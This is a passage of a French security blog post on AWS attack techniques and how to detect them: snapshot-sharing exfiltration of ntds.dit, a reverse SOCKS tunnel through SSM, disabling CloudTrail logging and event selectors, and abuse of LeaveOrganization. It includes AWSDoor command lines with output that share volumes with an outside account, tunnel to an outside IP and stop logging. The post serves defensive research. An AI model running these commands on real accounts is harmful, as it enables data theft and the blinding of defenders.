<p style="text-align: justify;">Cette méthode est <strong>particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible</strong>. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, <strong>le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit</strong>.</p>
<p> </p>
<figure id="attachment_27342" aria-describedby="caption-attachment-27342" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27342" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png" alt="Extraction de la NTDS.DIT en utilisant les Snapshot AWS" width="1369" height="1072" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word.png 1018w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27342" class="wp-caption-text"><em>Extraction de la NTDS.DIT en utilisant les Snapshot AWS</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Tout cela <strong>peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau</strong>, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.</p>
<p style="text-align: justify;">Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">Ces <strong>deux techniques sont implémentées dans AWSDoor</strong>. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :</p>
<p> </p>
<pre>python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br /> <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720<br /><br /></pre>
<p>De la même manière, l’action SSH SOCKS peut être automatisée :</p>
<pre>python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection</span></h5>
<p style="text-align: justify;">Pour la partie snapshot, <strong>CloudTrail enregistre plusieurs événements </strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot </strong>: enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute </strong>: enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :</li>
</ul>
<p> </p>
<figure id="attachment_27344" aria-describedby="caption-attachment-27344" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27344" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png" alt="Evènement créé lors du partage d’une snapshot" width="1369" height="1406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-768x790.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word.png 927w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27344" class="wp-caption-text"><em>Evènement créé lors du partage d’une snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.</p>
<p style="text-align: justify;">De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, <strong>puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée</strong>. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.</p>
<p> </p>
<pre>BackupTag=HMAC(creation_time, secret)</pre>
<p> </p>
<p style="text-align: justify;">Pour l’exploitation en reverse SOCKS, <strong>cela dépend de la manière dont l’accès SSM est effectué :</strong></p>
<ul>
<li style="text-align: justify;"><strong>Depuis la console AWS (GUI) </strong>: un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.</li>
</ul>
<p> </p>
<figure id="attachment_27346" aria-describedby="caption-attachment-27346" style="width: 437px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-27346" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png" alt="Événement déclenché lors d’une connexion SSM" width="437" height="145" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word.png 1291w" sizes="auto, (max-width: 437px) 100vw, 437px" /><figcaption id="caption-attachment-27346" class="wp-caption-text"><em>Événement déclenché lors d’une connexion SSM</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Depuis l’AWS CLI ou AWSDoor </strong>: l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.</li>
</ul>
<p> </p>
<figure id="attachment_27348" aria-describedby="caption-attachment-27348" style="width: 960px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27348" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png" alt="Événement déclenché lors de l’invocation d’une commande SSM" width="960" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word.png 1264w" sizes="auto, (max-width: 960px) 100vw, 960px" /><figcaption id="caption-attachment-27348" class="wp-caption-text"><em>Événement déclenché lors de l’invocation d’une commande SSM</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.</p>
<p> </p>
<h2>Altération des défenses</h2>
<p style="text-align: justify;">L’altération des défenses désigne <strong>toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection</strong> d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.</p>
<p style="text-align: justify;"><strong>AWS fournit plusieurs services intégrés conçus pour surveiller l’activité</strong>, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen <strong>: </strong><strong>CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel</strong>, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les <strong>environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM</strong> intégrées à leurs comptes AWS.</p>
<p style="text-align: justify;">La désactivation ou la modification de <strong>l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs</strong> sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.</p>
<p> </p>
<h3>CloudTrail et CloudWatch</h3>
<h4>Introduction à la journalisation AWS</h4>
<p style="text-align: justify;"><strong>Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires</strong>, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. <strong>Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, quant à lui, <strong>se concentre sur la surveillance opérationnelle</strong>. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord <strong>pour une visibilité en temps réel</strong>. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et <strong>stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées</strong>.</p>
<p style="text-align: justify;">La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.</p>
<p style="text-align: justify;">CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.</p>
<p style="text-align: justify;">CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.</p>
<p style="text-align: justify;">En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.</p>
<p> </p>
<h4>Arrêt de la journalisation</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">S’il n’est <strong>pas facilement possible d’altérer les capacités de journalisation de CloudWatch</strong>, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.</p>
<p style="text-align: justify;">Cette fonctionnalité <strong>permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :</strong></p>
<p> </p>
<figure id="attachment_27350" aria-describedby="caption-attachment-27350" style="width: 971px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png" alt="Trail avec capacités de journalisation arrêtées" width="971" height="329" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word.png 1349w" sizes="auto, (max-width: 971px) 100vw, 971px" /><figcaption id="caption-attachment-27350" class="wp-caption-text"><em>Trail avec capacités de journalisation arrêtées</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :</p>
<ul>
<li style="text-align: justify;">Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.</li>
<li style="text-align: justify;">Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p style="text-align: justify;">La limitation réside dans le fait que cela ne désactivera que les <em>trails</em> définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.</p>
<p> </p>
<h4>Sélecteur d’évènement</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">Dans AWS CloudTrail, <strong>les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre</strong>. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.</p>
<p style="text-align: justify;">Par défaut, <strong>les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure</strong> partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin <strong>de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion</strong>, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.</p>
<p style="text-align: justify;">Ainsi, en modifiant les sélecteurs d’événements, <strong>il est possible de dégrader les capacités de journalisation de CloudTrail</strong>, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.</p>
<p style="text-align: justify;">L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :</p>
<p> </p>
<figure id="attachment_27358" aria-describedby="caption-attachment-27358" style="width: 1073px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png" alt="Journalisation d’événement provenant d’une ressource inexistante " width="1073" height="538" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word.png 1184w" sizes="auto, (max-width: 1073px) 100vw, 1073px" /><figcaption id="caption-attachment-27358" class="wp-caption-text"><em>Journalisation d’événement provenant d’une ressource inexistante</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor peut être utilisé <strong>pour reconfigurer le sélecteur d’événements</strong> afin d’empêcher la journalisation des événements de données et de gestion :</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Une fois le script exécuté, <strong>le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:</strong></p>
<p> </p>
<figure id="attachment_27354" aria-describedby="caption-attachment-27354" style="width: 1369px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png" alt="Le Trail est toujours considéré comme actif" width="1369" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word.png 1192w" sizes="auto, (max-width: 1369px) 100vw, 1369px" /><figcaption id="caption-attachment-27354" class="wp-caption-text"><em>Le Trail est toujours considéré comme actif</em></figcaption></figure>
<p> </p>
<p>Cependant, <strong>le sélecteur d’événements empêche toute journalisation</strong> ultérieure :</p>
<p> </p>
<figure id="attachment_27356" aria-describedby="caption-attachment-27356" style="width: 1205px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png" alt="Sélecteur d’événements empêchant la journalisation" width="1205" height="822" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-1.png 1247w" sizes="auto, (max-width: 1205px) 100vw, 1205px" /><figcaption id="caption-attachment-27356" class="wp-caption-text"><em>Sélecteur d’événements empêchant la journalisation</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :</p>
<p> </p>
<figure id="attachment_27360" aria-describedby="caption-attachment-27360" style="width: 693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png" alt="Événement enregistré par CloudTrail" width="693" height="832" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word.png 880w" sizes="auto, (max-width: 693px) 100vw, 693px" /><figcaption id="caption-attachment-27360" class="wp-caption-text"><em>Événement enregistré par CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.</p>
<p> </p>
<h2>Destruction</h2>
<p style="text-align: justify;">Les attaques ciblant la destruction de données visent à <strong>provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques</strong>. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.</p>
<p style="text-align: justify;">Dans les environnements cloud comme AWS, <strong>les attaques destructrices peuvent toucher tous types de ressources</strong>, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :</p>
<ul style="text-align: justify;">
<li><strong>La suppression de buckets S3</strong> peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).</li>
<li><strong>L’effacement de volumes EBS ou de snapshots RDS</strong> peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.</li>
<li><strong>Le formatage du compte AWS</strong> (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3>AWS Organization Leave</h3>
<h4>Organization Leave</h4>
<p style="text-align: justify;">AWS <strong>Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS</strong> à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.</p>
<p style="text-align: justify;">Chaque compte AWS <strong>au sein d’une organisation reste isolé en termes de ressources et d’identité</strong>, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. <strong>Cette structure est particulièrement utile pour séparer les données et les charges de travail</strong> par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.</p>
<p style="text-align: justify;">AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.</p>
<p> </p>
<figure id="attachment_27362" aria-describedby="caption-attachment-27362" style="width: 935px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png" alt="Exemple d’Organisation AWS " width="935" height="541" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word.png 1223w" sizes="auto, (max-width: 935px) 100vw, 935px" /><figcaption id="caption-attachment-27362" class="wp-caption-text"><em>Exemple d’Organisation AWS</em></figcaption></figure>
<p> </p>
<h4 style="text-align: justify;">Suppression de données</h4>
<p style="text-align: justify;">La suppression de <strong>toutes les données d’un compte AWS n’est que rarement instantanée</strong>. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.</p>
<p style="text-align: justify;">Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut <strong>exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle</strong>. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).</p>
<p style="text-align: justify;">Contrairement à la suppression de données, <strong>quitter une organisation est une action immédiate</strong>. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.</p>
<h3> </h3>
<h4>Exfiltration de données avant suppression</h4>
<p style="text-align: justify;">Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.</p>
<p style="text-align: justify;">Par exemple, une entreprise <strong>héberge une application eShop sur AWS</strong>. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.</p>
<p style="text-align: justify;">Avec le <strong>contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision</strong>. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.</p>
<p style="text-align: justify;">Du point de vue de l’entreprise, u<strong>ne fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci.</strong> Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.</p>
<p> </p>
